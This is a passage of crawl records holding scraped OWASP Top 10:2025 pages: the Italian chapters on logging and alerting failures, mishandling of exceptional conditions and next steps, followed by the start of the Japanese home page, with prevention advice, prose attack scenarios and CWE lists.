[], "osnova": [{"uroven": 1, "text": "A09:2025 Security Logging & Alerting Failures"}, {"uroven": 2, "text": "Contesto."}, {"uroven": 2, "text": "Tabella dei punteggi."}, {"uroven": 2, "text": "Descrizione."}, {"uroven": 2, "text": "Come prevenire."}, {"uroven": 2, "text": "Scenari di attacco di esempio."}, {"uroven": 2, "text": "Riferimenti."}, {"uroven": 2, "text": "Lista delle CWE Mappate"}], "markdown": "# A09:2025 Security Logging & Alerting Failures\n\n## Contesto.\n\nSecurity Logging & Alerting Failures mantiene la sua posizione al #9. Questa categoria ha una leggera modifica del nome per enfatizzare la funzione di alerting necessaria per indurre azioni sugli eventi di logging rilevanti. Questa categoria sarà sempre sottorappresentata nei dati e per la terza volta è stata votata in una posizione nella lista dai partecipanti al sondaggio della community. Questa categoria è incredibilmente difficile da testare e ha una rappresentazione minima nei dati CVE/CVSS (solo 723 CVE); ma può essere molto impattante per la visibilità, l'alerting degli incidenti e la forensica. Questa categoria include problemi con la *corretta gestione dell'encoding dell'output nei file di log (CWE-117), l'inserimento di dati sensibili nei file di log (CWE-532) e il logging insufficiente (CWE-778).*\n\n## Tabella dei punteggi.\n\n| CWE Mappate | Tasso Massimo di Incidenza | Tasso Medio di Incidenza | Copertura Massima | Copertura Media | Exploit Medio Ponderato | Impatto Medio Ponderato | Totale Occorrenze | Totale CVE |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 5 | 11,33% | 3,91% | 85,96% | 46,48% | 7,19 | 2,65 | 260.288 | 723 |\n\n## Descrizione.\n\nSenza logging e monitoraggio, gli attacchi e le violazioni non possono essere rilevati, e senza alerting è molto difficile rispondere in modo rapido ed efficace durante un incidente di sicurezza. Un logging insufficiente, un monitoraggio continuo, il rilevamento e l'alerting per avviare risposte attive si verificano ogni volta che:\n\n- Gli eventi verificabili, come i login, i login falliti e le transazioni di alto valore, non vengono registrati o vengono registrati in modo incoerente (ad esempio, vengono registrati solo i login riusciti, ma non i tentativi falliti).\n- Gli avvisi e gli errori generano messaggi di log assenti, inadeguati o poco chiari.\n- L'integrità dei log non è adeguatamente protetta dalla manomissione.\n- I log delle applicazioni e delle API non vengono monitorati per attività sospette.\n- I log vengono archiviati solo localmente e non vengono adeguatamente sottoposti a backup.\n- Soglie di alerting appropriate e processi di escalation delle risposte non sono in atto o efficaci. Gli alert non vengono ricevuti o esaminati entro un tempo ragionevole.\n- I penetration test e le scansioni degli strumenti di dynamic application security testing (DAST) (come Burp o ZAP) non attivano alert.\n- L'applicazione non è in grado di rilevare, escalare o avvisare per attacchi attivi in tempo reale o quasi in tempo reale.\n- Sei vulnerabile alla fuga di informazioni sensibili rendendo visibili gli eventi di logging e alerting a un utente o a un attaccante (vedi [A01:2025-Broken Access Control](../A01_2025-Broken_Access_Control/) ), o registrando informazioni sensibili che non dovrebbero essere registrate (come PII o PHI).\n- Sei vulnerabile a injection o attacchi ai sistemi di logging o monitoraggio se i dati dei log non sono correttamente codificati.\n- L'applicazione manca o gestisce male gli errori e altre condizioni eccezionali, in modo tale che il sistema non sia consapevole che si è verificato un errore e quindi non sia in grado di registrare che c'è stato un problema.\n- Mancano o sono obsoleti adeguati 'use case' per l'emissione di alert per riconoscere una situazione speciale.\n- Troppi alert falsi positivi rendono impossibile distinguere gli alert importanti da quelli non importanti, con il risultato che vengono riconosciuti troppo tardi o per niente (sovraccarico fisico del team SOC).\n- Gli alert rilevati non possono essere elaborati correttamente perché il playbook per il caso d'uso è incompleto, obsoleto o mancante.\n\n## Come prevenire.\n\nGli sviluppatori dovrebbero implementare alcuni o tutti i seguenti controlli, a seconda del rischio dell'applicazione:\n\n- Garantire che tutti i fallimenti di login, controllo degli accessi e validazione degli input lato server possano essere registrati con un contesto utente sufficiente per identificare account sospetti o malevoli e conservati per un tempo sufficiente a consentire un'analisi forense differita.\n- Garantire che ogni parte dell'app che contiene un controllo di sicurezza venga registrata, indipendentemente dal fatto che abbia successo o fallisca.\n- Garantire che i log vengano generati in un formato che le soluzioni di gestione dei log possano consumare facilmente.\n- Garantire che i dati dei log siano codificati correttamente per prevenire injection o attacchi ai sistemi di logging o monitoraggio.\n- Garantire che tutte le transazioni abbiano una traccia di audit con controlli di integrità per prevenire manomissioni o cancellazioni, come tabelle di database append-only o simili.\n- Garantire che tutte le transazioni che generano un errore vengano annullate e ricominciare. Fallire sempre in modo chiuso.\n- Se la tua applicazione o i suoi utenti si comportano in modo sospetto, emettere un alert. Creare linee guida per gli sviluppatori su questo argomento in modo che possano programmare in base a questo o acquistare un sistema per questo.\n- I team DevSecOps e di sicurezza dovrebbero stabilire use case efficaci di monitoraggio e alerting inclusi playbook in modo che le attività sospette vengano rilevate e gestite rapidamente dal team del Security Operations Center (SOC).\n- Aggiungere 'honeytoken' come trappole per gli attaccanti nella tua applicazione, ad esempio nel database, nei dati, come identità utente reale e/o tecnica. Poiché non vengono utilizzati nel normale business, qualsiasi accesso genera dati di logging che possono essere segnalati con quasi nessun falso positivo.\n- L'analisi comportamentale e il supporto AI potrebbero essere opzionalmente una tecnica aggiuntiva per supportare bassi tassi di falsi positivi per gli alert.\n- Stabilire o adottare un piano di risposta agli incidenti e di recupero, come NIST 800-61r2 o successivo. Insegnare agli sviluppatori software come appaiono gli attacchi e gli incidenti alle applicazioni, in modo che possano segnalarli.\n\nEsistono prodotti commerciali e open-source per la protezione delle applicazioni come l'OWASP ModSecurity Core Rule Set, e software open-source di correlazione dei log, come lo stack Elasticsearch, Logstash, Kibana (ELK), che includono dashboard personalizzate e alerting che potrebbero aiutarti a combattere questi problemi. Esistono anche strumenti di osservabilità commerciali che possono aiutarti a rispondere o bloccare gli attacchi in tempo quasi reale.\n\n## Scenari di attacco di esempio.\n\n**Scenario #1:** L'operatore del sito web di un fornitore di piani sanitari per bambini non ha potuto rilevare una violazione a causa della mancanza di monitoraggio e logging. Una parte esterna ha informato il fornitore del piano sanitario che un attaccante aveva acceduto e modificato migliaia di cartelle sanitarie sensibili di oltre 3,5 milioni di bambini. Una revisione post-incidente ha rilevato che gli sviluppatori del sito web non avevano affrontato vulnerabilità significative. Poiché non esisteva alcun logging o monitoraggio del sistema, la violazione dei dati potrebbe essere stata in corso dal 2013, un periodo di oltre sette anni.\n\n**Scenario #2:** Una importante compagnia aerea indiana ha subito una violazione dei dati che coinvolgeva oltre dieci anni di dati personali di milioni di passeggeri, inclusi dati di passaporto e carte di credito. La violazione dei dati si è verificata presso un provider di cloud hosting di terze parti, che ha notificato la compagnia aerea della violazione dopo qualche tempo.\n\n**Scenario #3:** Una importante compagnia aerea europea ha subito una violazione segnalabile al GDPR. La violazione è stata causata da vulnerabilità di sicurezza dell'applicazione di pagamento sfruttate dagli attaccanti, che hanno raccolto oltre 400.000 record di pagamento dei clienti. La compagnia aerea è stata multata di 20 milioni di sterline dall'autorità di regolamentazione della privacy.\n\n## Riferimenti.\n\n- [OWASP Proactive Controls: C9: Implement Logging and Monitoring](https://top10proactive.owasp.org/archive/2024/the-top-10/c9-security-logging-and-monitoring/)\n- [OWASP Application Security Verification Standard: V16 Security Logging and Error Handling](https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md)\n- [OWASP Cheat Sheet: Application Logging Vocabulary](https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Logging](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html)\n- [Data Integrity: Recovering from Ransomware and Other Destructive Events](https://csrc.nist.gov/publications/detail/sp/1800-11/final)\n- [Real world example of such failures in Snowflake Breach](https://www.huntress.com/threat-library/data-breach/snowflake-data-breach)\n\n## Lista delle CWE Mappate\n\n- [CWE-117 Improper Output Neutralization for Logs](https://cwe.mitre.org/data/definitions/117.html)\n- [CWE-221 Information Loss of Omission](https://cwe.mitre.org/data/definitions/221.html)\n- [CWE-223 Omission of Security-relevant Information](https://cwe.mitre.org/data/definitions/223.html)\n- [CWE-532 Insertion of Sensitive Information into Log File](https://cwe.mitre.org/data/definitions/532.html)\n- [CWE-778 Insufficient Logging](https://cwe.mitre.org/data/definitions/778.html)", "znaku_textu": 9204, "slov": 1265, "odkazu": 46, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:11", "sha256": "9160126bc411b1a061782c2c4676925861be5c4df80733441597b8fe01bb5560", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://top10proactive.owasp.org/archive/2024/the-top-10/c9-security-logging-and-monitoring/", "https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md", "https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html", "https://csrc.nist.gov/publications/detail/sp/1800-11/final", "https://www.huntress.com/threat-library/data-breach/snowflake-data-breach", "https://cwe.mitre.org/data/definitions/117.html", "https://cwe.mitre.org/data/definitions/221.html", "https://cwe.mitre.org/data/definitions/223.html", "https://cwe.mitre.org/data/definitions/532.html", "https://cwe.mitre.org/data/definitions/778.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/it/A10_2025-Mishandling_of_Exceptional_Conditions/", "titulek": "A10 Mishandling of Exceptional Conditions - OWASP Top 10:2025", "h1": "A10:2025 Mishandling of Exceptional Conditions", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/it/A10_2025-Mishandling_of_Exceptional_Conditions/", "jazyk": "it", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A10:2025 Mishandling of Exceptional Conditions"}, {"uroven": 2, "text": "Contesto."}, {"uroven": 2, "text": "Tabella dei punteggi."}, {"uroven": 2, "text": "Descrizione."}, {"uroven": 2, "text": "Come prevenire."}, {"uroven": 2, "text": "Scenari di attacco di esempio."}, {"uroven": 2, "text": "Riferimenti."}, {"uroven": 2, "text": "Lista dei CWE Mappati"}], "markdown": "# A10:2025 Mishandling of Exceptional Conditions\n\n## Contesto.\n\nLa gestione impropria delle condizioni eccezionali è una nuova categoria per il 2025. Questa categoria contiene 24 CWE e si concentra sulla gestione impropria degli errori, errori logici, failing open e altri scenari correlati derivanti da condizioni anomale che i sistemi possono incontrare. Questa categoria include alcuni CWE precedentemente associati a scarsa qualità del codice. Per noi era troppo generico; a nostro avviso, questa categoria più specifica fornisce indicazioni migliori.\n\nCWE notevoli inclusi in questa categoria: *CWE-209 Generation of Error Message Containing Sensitive Information, CWE-234 Failure to Handle Missing Parameter, CWE-274 Improper Handling of Insufficient Privileges, CWE-476 NULL Pointer Dereference,* e *CWE-636 Not Failing Securely ('Failing Open')*.\n\n## Tabella dei punteggi.\n\n| CWE Mappati | Tasso di Incidenza Massimo | Tasso di Incidenza Medio | Copertura Massima | Copertura Media | Exploit Ponderato Medio | Impatto Ponderato Medio | Occorrenze Totali | CVE Totali |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 24 | 20,67% | 2,95% | 100,00% | 37,95% | 7,11 | 3,81 | 769.581 | 3.416 |\n\n## Descrizione.\n\nLa gestione impropria delle condizioni eccezionali nel software si verifica quando i programmi non riescono a prevenire, rilevare e rispondere a situazioni insolite e imprevedibili, il che porta a crash, comportamenti imprevisti e talvolta vulnerabilità. Questo può coinvolgere uno o più dei seguenti 3 fallimenti: l'applicazione non previene una situazione insolita, non la identifica mentre si sta verificando e/o risponde in modo inadeguato o non risponde affatto alla situazione in seguito.\n\nLe condizioni eccezionali possono essere causate da validazione dell'input mancante, scarsa o incompleta, o gestione degli errori tardiva ad alto livello invece che nelle funzioni dove si verificano, o stati ambientali imprevisti come problemi di memoria, privilegi o rete, gestione incoerente delle eccezioni, o eccezioni non gestite del tutto, che permettono al sistema di cadere in uno stato sconosciuto e imprevedibile. Ogni volta che un'applicazione non è sicura della sua prossima istruzione, una condizione eccezionale è stata gestita in modo improprio. Errori ed eccezioni difficili da trovare possono minacciare la sicurezza dell'intera applicazione per molto tempo.\n\nMolte diverse vulnerabilità di sicurezza possono verificarsi quando gestiamo male le condizioni eccezionali, come bug logici, overflow, race condition, transazioni fraudolente, o problemi con memoria, stato, risorse, timing, autenticazione e autorizzazione. Questi tipi di vulnerabilità possono influenzare negativamente la riservatezza, la disponibilità e/o l'integrità di un sistema o dei suoi dati. Gli attaccanti manipolano la gestione degli errori difettosa di un'applicazione per colpire questa vulnerabilità.\n\n## Come prevenire.\n\nPer gestire correttamente una condizione eccezionale dobbiamo pianificare tali situazioni (aspettarsi il peggio). Dobbiamo \"catturare\" ogni possibile errore di sistema direttamente nel punto in cui si verifica e poi gestirlo (il che significa fare qualcosa di significativo per risolvere il problema e assicurarci di riprenderci dalla questione). Come parte della gestione, dovremmo includere la generazione di un errore (per informare l'utente in modo comprensibile), la registrazione dell'evento, nonché l'emissione di un alert se riteniamo che sia giustificato. Dovremmo anche avere un gestore globale delle eccezioni nel caso in cui ci sia qualcosa che abbiamo mancato. Idealmente, avremmo anche strumenti o funzionalità di monitoraggio e/o osservabilità che vigilano su errori ripetuti o pattern che indicano un attacco in corso, in grado di emettere una risposta, una difesa o un blocco di qualche tipo. Questo può aiutarci a bloccare e rispondere a script e bot che si concentrano sulle nostre debolezze nella gestione degli errori.\n\nCatturare e gestire le condizioni eccezionali garantisce che l'infrastruttura sottostante dei nostri programmi non sia lasciata a gestire situazioni imprevedibili. Se siamo nel mezzo di una transazione di qualsiasi tipo, è estremamente importante eseguire il rollback di ogni parte della transazione e ricominciare (noto anche come failing closed). Tentare di recuperare una transazione a metà è spesso il punto in cui creiamo errori irrecuperabili.\n\nQuando possibile, aggiungere rate limiting, quote di risorse, throttling e altri limiti ovunque sia possibile, per prevenire le condizioni eccezionali in primo luogo. Nulla nell'informatica dovrebbe essere illimitato, poiché questo porta a mancanza di resilienza applicativa, denial of service, attacchi a forza bruta riusciti e bollette cloud straordinarie. Considerare se errori ripetuti identici, al di sopra di un certo tasso, debbano essere emessi solo come statistiche che mostrano con quale frequenza si sono verificati e in quale arco temporale. Queste informazioni dovrebbero essere aggiunte al messaggio originale in modo da non interferire con il logging e il monitoraggio automatizzati, vedere [A09:2025 Security Logging & Alerting Failures](../A09_2025-Security_Logging_and_Alerting_Failures/).\n\nOltre a questo, vorremmo includere una validazione rigorosa dell'input (con sanificazione o escaping per caratteri potenzialmente pericolosi che dobbiamo accettare), e gestione degli errori *centralizzata*, logging, monitoraggio e alerting, e un gestore globale delle eccezioni. Un'applicazione non dovrebbe avere più funzioni per la gestione delle condizioni eccezionali, dovrebbe essere eseguita in un unico posto, allo stesso modo ogni volta. Dovremmo anche creare requisiti di sicurezza del progetto per tutti i consigli in questa sezione, eseguire attività di threat modeling e/o revisione del design sicuro nella fase di progettazione dei nostri progetti, eseguire code review o analisi statica, nonché eseguire test di stress, prestazioni e penetration testing del sistema finale.\n\nSe possibile, l'intera organizzazione dovrebbe gestire le condizioni eccezionali allo stesso modo, poiché rende più facile rivedere e verificare il codice per errori in questo importante controllo di sicurezza.\n\n## Scenari di attacco di esempio.\n\n**Scenario #1:** L'esaurimento delle risorse dovuto alla gestione impropria delle condizioni eccezionali (Denial of Service) potrebbe essere causato se l'applicazione cattura le eccezioni quando i file vengono caricati, ma non rilascia correttamente le risorse dopo. Ogni nuova eccezione lascia risorse bloccate o altrimenti non disponibili, finché tutte le risorse non sono esaurite.\n\n**Scenario #2:** L'esposizione di dati sensibili tramite la gestione impropria degli errori del database che rivela l'errore di sistema completo all'utente. L'attaccante continua a forzare errori al fine di utilizzare le informazioni di sistema sensibili per creare un attacco SQL injection migliore. I dati sensibili nei messaggi di errore all'utente sono ricognizione.\n\n**Scenario #3:** La corruzione dello stato nelle transazioni finanziarie potrebbe essere causata da un attaccante che interrompe una transazione multi-step tramite interruzioni di rete. Immaginate che l'ordine della transazione fosse: addebitare l'account utente, accreditare l'account di destinazione, registrare la transazione. Se il sistema non esegue correttamente il rollback dell'intera transazione (failing closed) quando si verifica un errore a metà, l'attaccante potrebbe potenzialmente prosciugare l'account dell'utente, o possibilmente una race condition che consente all'attaccante di inviare denaro alla destinazione più volte.\n\n## Riferimenti.\n\nOWASP MASVS‑RESILIENCE\n\n- [OWASP Cheat Sheet: Logging](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Error Handling](https://cheatsheetseries.owasp.org/cheatsheets/Error_Handling_Cheat_Sheet.html)\n- [OWASP Application Security Verification Standard (ASVS): V16.5 Error Handling](https://github.com/OWASP/ASVS/blob/master/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md#v165-error-handling)\n- [OWASP Testing Guide: 4.8.1 Testing for Error Handling](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_For_Improper_Error_Handling)\n- [Best practices for exceptions (Microsoft, .Net)](https://learn.microsoft.com/en-us/dotnet/standard/exceptions/best-practices-for-exceptions)\n- [Clean Code and the Art of Exception Handling (Toptal)](https://www.toptal.com/developers/abap/clean-code-and-the-art-of-exception-handling)\n- [General error handling rules (Google for Developers)](https://developers.google.com/tech-writing/error-messages/error-handling)\n- [Example of real-world mishandling of an exceptional condition](https://www.firstreference.com/blog/human-error-and-internal-control-failures-cause-us62m-fine/)\n\n## Lista dei CWE Mappati\n\n- [CWE-209 Generation of Error Message Containing Sensitive Information](https://cwe.mitre.org/data/definitions/209.html)\n- [CWE-215 Insertion of Sensitive Information Into Debugging Code](https://cwe.mitre.org/data/definitions/215.html)\n- [CWE-234 Failure to Handle Missing Parameter](https://cwe.mitre.org/data/definitions/234.html)\n- [CWE-235 Improper Handling of Extra Parameters](https://cwe.mitre.org/data/definitions/235.html)\n- [CWE-248 Uncaught Exception](https://cwe.mitre.org/data/definitions/248.html)\n- [CWE-252 Unchecked Return Value](https://cwe.mitre.org/data/definitions/252.html)\n- [CWE-274 Improper Handling of Insufficient Privileges](https://cwe.mitre.org/data/definitions/274.html)\n- [CWE-280 Improper Handling of Insufficient Permissions or Privileges](https://cwe.mitre.org/data/definitions/280.html)\n- [CWE-369 Divide By Zero](https://cwe.mitre.org/data/definitions/369.html)\n- [CWE-390 Detection of Error Condition Without Action](https://cwe.mitre.org/data/definitions/390.html)\n- [CWE-391 Unchecked Error Condition](https://cwe.mitre.org/data/definitions/391.html)\n- [CWE-394 Unexpected Status Code or Return Value](https://cwe.mitre.org/data/definitions/394.html)\n- [CWE-396 Declaration of Catch for Generic Exception](https://cwe.mitre.org/data/definitions/396.html)\n- [CWE-397 Declaration of Throws for Generic Exception](https://cwe.mitre.org/data/definitions/397.html)\n- [CWE-460 Improper Cleanup on Thrown Exception](https://cwe.mitre.org/data/definitions/460.html)\n- [CWE-476 NULL Pointer Dereference](https://cwe.mitre.org/data/definitions/476.html)\n- [CWE-478 Missing Default Case in Multiple Condition Expression](https://cwe.mitre.org/data/definitions/478.html)\n- [CWE-484 Omitted Break Statement in Switch](https://cwe.mitre.org/data/definitions/484.html)\n- [CWE-550 Server-generated Error Message Containing Sensitive Information](https://cwe.mitre.org/data/definitions/550.html)\n- [CWE-636 Not Failing Securely ('Failing Open')](https://cwe.mitre.org/data/definitions/636.html)\n- [CWE-703 Improper Check or Handling of Exceptional Conditions](https://cwe.mitre.org/data/definitions/703.html)\n- [CWE-754 Improper Check for Unusual or Exceptional Conditions](https://cwe.mitre.org/data/definitions/754.html)\n- [CWE-755 Improper Handling of Exceptional Conditions](https://cwe.mitre.org/data/definitions/755.html)\n- [CWE-756 Missing Custom Error Page](https://cwe.mitre.org/data/definitions/756.html)", "znaku_textu": 11232, "slov": 1320, "odkazu": 67, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:12", "sha256": "58d395a371e1922cc4b2621f678b0d6fb8ff700ca0a2181db598021d36a0ceac", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Error_Handling_Cheat_Sheet.html", "https://github.com/OWASP/ASVS/blob/master/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md", "https://learn.microsoft.com/en-us/dotnet/standard/exceptions/best-practices-for-exceptions", "https://www.toptal.com/developers/abap/clean-code-and-the-art-of-exception-handling", "https://developers.google.com/tech-writing/error-messages/error-handling", "https://www.firstreference.com/blog/human-error-and-internal-control-failures-cause-us62m-fine/", "https://cwe.mitre.org/data/definitions/209.html", "https://cwe.mitre.org/data/definitions/215.html", "https://cwe.mitre.org/data/definitions/234.html", "https://cwe.mitre.org/data/definitions/235.html", "https://cwe.mitre.org/data/definitions/248.html", "https://cwe.mitre.org/data/definitions/252.html", "https://cwe.mitre.org/data/definitions/274.html", "https://cwe.mitre.org/data/definitions/280.html", "https://cwe.mitre.org/data/definitions/369.html", "https://cwe.mitre.org/data/definitions/390.html", "https://cwe.mitre.org/data/definitions/391.html", "https://cwe.mitre.org/data/definitions/394.html", "https://cwe.mitre.org/data/definitions/396.html", "https://cwe.mitre.org/data/definitions/397.html", "https://cwe.mitre.org/data/definitions/460.html", "https://cwe.mitre.org/data/definitions/476.html", "https://cwe.mitre.org/data/definitions/478.html", "https://cwe.mitre.org/data/definitions/484.html", "https://cwe.mitre.org/data/definitions/550.html", "https://cwe.mitre.org/data/definitions/636.html", "https://cwe.mitre.org/data/definitions/703.html", "https://cwe.mitre.org/data/definitions/754.html", "https://cwe.mitre.org/data/definitions/755.html", "https://cwe.mitre.org/data/definitions/756.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/it/X01_2025-Next_Steps/", "titulek": "Prossimi Passi - OWASP Top 10:2025", "h1": "X01:2025 Prossimi Passi", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/it/X01_2025-Next_Steps/", "jazyk": "it", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "X01:2025 Prossimi Passi"}, {"uroven": 2, "text": "Prossimi Passi per gli Architetti del Software e gli Sviluppatori"}, {"uroven": 2, "text": "Prossimi Passi per i Tester della Sicurezza"}, {"uroven": 2, "text": "Prossimi Passi per le Organizzazioni"}, {"uroven": 2, "text": "Risorse OWASP"}], "markdown": "# X01:2025 Prossimi Passi\n\nIl progetto OWASP Top 10 si concentra sull'identificazione dei rischi più gravi per un'ampia gamma di organizzazioni. Tuttavia, ogni organizzazione è unica e lo è anche il suo profilo di rischio. Incoraggiamo ogni organizzazione a utilizzare l'OWASP Top 10 come punto di partenza, non come standard definitivo.\n\n## Prossimi Passi per gli Architetti del Software e gli Sviluppatori\n\nSia che si stia sviluppando una nuova applicazione o si stia mantenendo una esistente, considerate i seguenti passi per migliorare la sicurezza:\n\n**Adottare un ciclo di vita di sviluppo software sicuro (SSDLC).** Aggiungere attività di sicurezza in ogni fase, dalla raccolta dei requisiti al deployment e alle operazioni. Consultare [OWASP SAMM](https://owaspsamm.org/) per una guida su come strutturare questi sforzi.\n\n**Utilizzare framework e librerie sicure.** Sfruttare i framework moderni che includono controlli di sicurezza built-in. Consultare le [OWASP Cheat Sheets](https://cheatsheetseries.owasp.org/) per indicazioni specifiche per linguaggio e framework.\n\n**Eseguire la modellazione delle minacce.** Identificare i rischi specifici per la propria applicazione e affrontarli proattivamente nella progettazione. Vedere [OWASP Threat Modeling Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Threat_Modeling_Cheat_Sheet.html).\n\n**Integrare i test di sicurezza nella pipeline CI/CD.** Utilizzare strumenti di analisi statica (SAST), analisi dinamica (DAST) e analisi della composizione del software (SCA) per rilevare le vulnerabilità precocemente.\n\n**Formare i team di sviluppo.** Garantire che gli sviluppatori comprendano i rischi dell'OWASP Top 10 e come evitarli. Considerare programmi di security champion, gamification e formazione pratica tramite strumenti come [OWASP WebGoat](https://owasp.org/www-project-webgoat/) o [OWASP Juice Shop](https://owasp.org/www-project-juice-shop/).\n\n## Prossimi Passi per i Tester della Sicurezza\n\n**Andare oltre l'OWASP Top 10.** L'OWASP Top 10 è un insieme minimo. Consultare l'[OWASP Application Security Verification Standard (ASVS)](https://owasp.org/www-project-application-security-verification-standard/) per una copertura più completa.\n\n**Combinare metodi di test manuali e automatizzati.** Gli strumenti automatizzati trovano problemi noti in modo efficiente, ma i tester esperti trovano problemi logici e di business che gli strumenti mancano.\n\n**Documentare e comunicare i risultati in modo efficace.** Fornire passaggi di riproduzione chiari, valutazioni dell'impatto e indicazioni per la remediation per aiutare i team a risolvere i problemi rapidamente.\n\n**Seguire standard consolidati.** Considerare di utilizzare l'[OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/) come metodologia di test completa.\n\n## Prossimi Passi per le Organizzazioni\n\n**Stabilire un programma di sicurezza applicativa.** Non limitarsi a reagire alle vulnerabilità — costruire processi sistematici per prevenirle. Vedere la sezione [Stabilire un Programma Moderno di Sicurezza Applicativa](../0x03_2025-Establishing_a_Modern_Application_Security_Program/) per indicazioni.\n\n**Misurare e migliorare nel tempo.** Tracciare le metriche di sicurezza, le tendenze delle vulnerabilità e il tempo di remediation. Utilizzare i dati per guidare le decisioni di investimento.\n\n**Aggiornare regolarmente le valutazioni del rischio.** Il panorama delle minacce cambia, e anche i profili di rischio delle applicazioni. Rivalutare periodicamente le priorità.\n\n**Coinvolgere la leadership.** La sicurezza delle applicazioni richiede supporto organizzativo. Comunicare i rischi e i progressi ai decision maker in termini di impatto sul business.\n\n## Risorse OWASP\n\n- [OWASP Top 10](https://owasp.org/www-project-top-ten/)\n- [OWASP Application Security Verification Standard (ASVS)](https://owasp.org/www-project-application-security-verification-standard/)\n- [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)\n- [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/)\n- [OWASP Software Assurance Maturity Model (SAMM)](https://owaspsamm.org/)\n- [OWASP Dependency-Track](https://owasp.org/www-project-dependency-track/)\n- [OWASP WebGoat](https://owasp.org/www-project-webgoat/)\n- [OWASP Juice Shop](https://owasp.org/www-project-juice-shop/)\n- [OWASP Security Champions Guide](https://securitychampions.owasp.org/)", "znaku_textu": 4349, "slov": 524, "odkazu": 42, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:13", "sha256": "3415583d98e62943a2840fdb3804238bbef32a4b9c6a27573c498dffe4ea947f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://owaspsamm.org/", "https://cheatsheetseries.owasp.org/", "https://cheatsheetseries.owasp.org/cheatsheets/Threat_Modeling_Cheat_Sheet.html", "https://securitychampions.owasp.org/", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ja/", "titulek": "Home - OWASP Top 10:2025", "h1": "OWASP Top 10:2025", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ja/", "jazyk": "ja", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Top 10:2025"}, {"uroven": 2, "text": "本リリースについて (About This Release)"}, {"uroven": 2, "text": "メインプロジェクトページ (Main Project Page)"}, {"uroven": 2, "text": "はじめに (Getting Started)"}, {"uroven": 3, "text": "Top 10:2025 リスト (Top 10:2025 List)"}], "markdown": "# OWASP Top 10:2025\n\nOWASP Top 10:2025 リリースへようこそ。\n\nOWASP Top 10 は、開発者やウェブアプリケーションセキュリティに関わる人々のための、標準的な啓発資料 (Awareness document) です。これは、ウェブアプリケーションに対する最も深刻なセキュリティリスクについて、広く認められた見解を表しています。\n\n## 本リリースについて (About This Release)\n\nこれは OWASP Top 10 の **2025年** 版です。このバージョンには、最新のデータとセキュリティ動向に基づいた更新が含まれています。\n\n## メインプロジェクトページ (Main Project Page)\n\n[メインプロジェクトページ (GitHub)](https://github.com/OWASP/www-project-top-ten) には、旧バージョンに関する情報や、本プロジェクトのメタデータが掲載されています。\n\n## はじめに (Getting Started)\n\n[イントロダクション (Introduction)](0x00_2025-Introduction/) から、2025年版での新要素について確認してください。\n\n- [イントロダクション (Introduction)](0x00_2025-Introduction/)\n- [OWASP について (About OWASP)](0x01_2025-About_OWASP/)\n- [アプリケーションセキュリティリスクとは何か? (What are Application Security Risks?)](0x02_2025-What_are_Application_Security_Risks/)\n- [今日求められるアプリケーションセキュリティプログラムの確立 (Establishing a Modern Application Security Program)](0x03_2025-Establishing_a_Modern_Application_Security_Program/)\n\n### Top 10:2025 リスト (Top 10:2025 List)\n\n1. [A01:2025 - アクセス制御の不備 (Broken Access Control)](A01_2025-Broken_Access_Control/)\n2. [A02:2025 - セキュリティ設定の不備 (Security Misconfiguration)](A02_2025-Security_Misconfiguration/)\n3. [A03:2025 - ソフトウェアサプライチェーンの不備 (Software Supply Chain 